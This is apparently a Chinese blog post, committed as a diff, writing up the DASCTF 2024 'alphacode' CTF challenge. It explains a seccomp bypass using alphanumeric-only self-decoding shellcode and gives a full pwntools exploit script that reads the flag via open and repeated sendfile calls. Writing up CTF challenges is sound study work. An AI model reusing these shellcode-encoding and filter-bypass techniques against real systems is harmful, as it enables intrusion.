|
| 1 | +--- |
| 2 | +title: DASCTF2024八月开学季 - alphacode |
| 3 | +date: 2024/09/05 00:12:00 |
| 4 | +updated: 2024/09/11 23:05:00 |
| 5 | +tags: |
| 6 | + - shellcode |
| 7 | +--- |
| 8 | + |
| 9 | +## 文件属性 |
| 10 | + |
| 11 | +|属性 |值 | |
| 12 | +|------|------| |
| 13 | +|Arch |amd64 | |
| 14 | +|RELRO |full | |
| 15 | +|Canary|on | |
| 16 | +|NX |on | |
| 17 | +|PIE |on | |
| 18 | +|strip |yes | |
| 19 | + |
| 20 | +## seccomp rules |
| 21 | + |
| 22 | +<img src="/assets/dasxmarek2024/seccomp.png" width="80%" height="80%"> |
| 23 | + |
| 24 | +## 解题思路 |
| 25 | + |
| 26 | +一道shellcode题,限制了字符必须是`[0-9a-zA-Z]`,可以输入`0x53`个字符。 |
| 27 | + |
| 28 | +程序没有显式引用`libseccomp`,但是自己手搓了一个,并在运行shellcode前应用。 |
| 29 | +程序不允许直接使用`read`,同时限制了参数只能是0/1,后面还关闭了标准输入流, |
| 30 | +对重新读入shellcode造成了很大困扰,遂尝试一次发送打orw。 |
| 31 | + |
| 32 | +程序在运行shellcode前还插入了一段额外的shellcode,清空了除了rsp以外寄存器的数据。 |
| 33 | + |
| 34 | +<img src="/assets/dasxmarek2024/inject.png" width="75%" height="75%"> |
| 35 | + |
| 36 | +由于`read`被禁用,`open+read+write`的shellcode会变得很长, |
| 37 | +因此可以考虑使用`sendfile`系统调用,当`off`设为`NULL`时,偏移会随读取自动更新。 |
| 38 | +因此重复调用`sendfile(1, fd, NULL, 1)`就可以逐字节输出flag。显然, |
| 39 | +`syscall`不在允许的字符范围内,因此可以异或来绕过限制。但是,为了重复调用, |
| 40 | +需要使用`jmp -?`,而产生的shellcode都大于`0x7f`,因此要想异或解密,需要让eax产生大于`0x7f`的字节。 |
| 41 | +我使用了`IMUL r32, [m32], i8`来产生这些字节,然后再异或一次得到`jmp -9`的shellcode。 |
| 42 | + |
| 43 | +{% note green fa-lightbulb %} |
| 44 | +值得注意的是,由于之前把标准输入关闭了,新打开的文件fd取代标准输入成为了`0`, |
| 45 | +没有碰到seccomp限制。 |
| 46 | +{% endnote %} |
| 47 | + |
| 48 | +{% note blue fa-info %} |
| 49 | +官方题解中异或解码出`ADD`来凑大于`0x7f`的字节,没有使用处于范围内的`IMUL` |
| 50 | +{% endnote %} |
| 51 | + |
| 52 | +## EXPLOIT |
| 53 | + |
| 54 | +```python |
| 55 | +from pwn import * |
| 56 | +context.terminal = ['tmux','splitw','-h'] |
| 57 | +EXE = './alphacode' |
| 58 | + |
| 59 | +def payload(lo:int): |
| 60 | + global sh |
| 61 | + if lo: |
| 62 | + sh = process(EXE) |
| 63 | + if lo & 2: |
| 64 | + gdb.attach(sh, 'b *$rebase(0x1602)') |
| 65 | + else: |
| 66 | + sh = remote('node5.buuoj.cn', 27789) |
| 67 | + |
| 68 | + code = [ |
| 69 | + # mov ecx, 0x20240026 |
| 70 | + b"\x35\x41\x30\x65\x61", # xor eax, 0x61653041 |
| 71 | + b"\x35\x67\x30\x41\x41", # xor eax, 0x41413067 |
| 72 | + b"\x50", # push rax |
| 73 | + b"\x59", # pop rcx |
| 74 | + # xor decrypt <code 1> |
| 75 | + b"\x68\x71\x30\x4e\x30", # push 0x304e3071 |
| 76 | + b"\x58", # pop rax |
| 77 | + b"\x31\x41\x34", # xor [rcx + 0x34], eax |
| 78 | + # xor decrypt <code 2> |
| 79 | + b"\x68\x30\x30\x30\x30", # push 0x30303030 <- padding 3 b'0' |
| 80 | + b"\x58", # pop rax |
| 81 | + b"\x30\x41\x41", # xor [rcx + 0x41], al |
| 82 | + # xor decrypt 2 layers on <code 3> |
| 83 | + b"\x6b\x41\x30\x4e", # imul eax, dword ptr [rcx + 0x30], 0x4e |
| 84 | + b"\x35\x30\x61\x41\x30", # xor eax, 0x30416130 |
| 85 | + b"\x31\x41\x47", # xor [rcx + 0x47], eax |
| 86 | + |
| 87 | + # push "flag" on rsp >>> |
| 88 | + b"\x68\x66\x6c\x61\x67", # push 0x67616c66 |
| 89 | + b"\x54", # push rsp |
| 90 | + # mov rax, SYS_open |
| 91 | + b"\x6a\x32", # push 0x32 |
| 92 | + b"\x58", # pop rax |
| 93 | + b"\x34\x30", # xor al, 0x30 <code 1 @ \x30> |
| 94 | + # mov rdi, [rsp] (lea rdi, "flag") <<< |
| 95 | + b"\x5f", # pop rdi |
| 96 | + # fd = open("flag", 0, 0) |
| 97 | + b"\x0f\x05", # syscall |
| 98 | + |
| 99 | + # mov r10, 1 |
| 100 | + b"\x6a\x31", # push 0x31 |
| 101 | + b"\x58", # pop rax |
| 102 | + b"\x34\x30", # xor al, 0x30 |
| 103 | + b"\x50", # push rax |
| 104 | + b"\x41\x5a", # pop r10 |
| 105 | + # mov rdi, 1 |
| 106 | + b"\x50", # push rax |
| 107 | + b"\x5f", # pop rdi <code 2> |
| 108 | + # loop: |
| 109 | + # mov rax, SYS_sendfile |
| 110 | + b"\x6a\x49", # push 0x49 |
| 111 | + b"\x58", # pop rax |
| 112 | + b"\x34\x61", # xor al, 0x61 |
| 113 | + # sendfile(STDOUT_FILENO, fd, NULL, 1) |
| 114 | + b"\x0f\x05", # syscall <code 3> |
| 115 | + b"\xeb\xf5", # jmp loop (-9) |
| 116 | + ] |
| 117 | + # patch <code 1, 2, 3> to pass the check |
| 118 | + raw = b"".join(code) |
| 119 | + patched = xor(raw, flat({ |
| 120 | + 0x34: p32(0x304e3071), |
| 121 | + 0x41: p8(0x30), |
| 122 | + 0x47: p32(0xf2df5c4c ^ 0x30416130) |
| 123 | + }, length=len(raw), filler=b'\0')) |
| 124 | + info(f'Sending payload: {repr(patched)}') |
| 125 | + sh.send(patched) |
| 126 | + |
| 127 | + sh.recvuntil(b'DASCTF{') |
| 128 | + flag = b'DASCTF{' + sh.recvuntil(b'}') |
| 129 | + success(f'Flag is: {flag.decode()}') |
| 130 | + sh.close() |
| 131 | +``` |
| 132 | + |
| 133 | +> *纯真* 师傅出的题,上来直接开做,很快啊!直接拿下唯一解,就是花了太多时间, |
| 134 | +> 错过了 **clock** ,要不然还能得1000分 |
| 135 | +
|
| 136 | +{% note default fa-flag %} |
| 137 | + |
| 138 | +{% endnote %} |
0 commit comments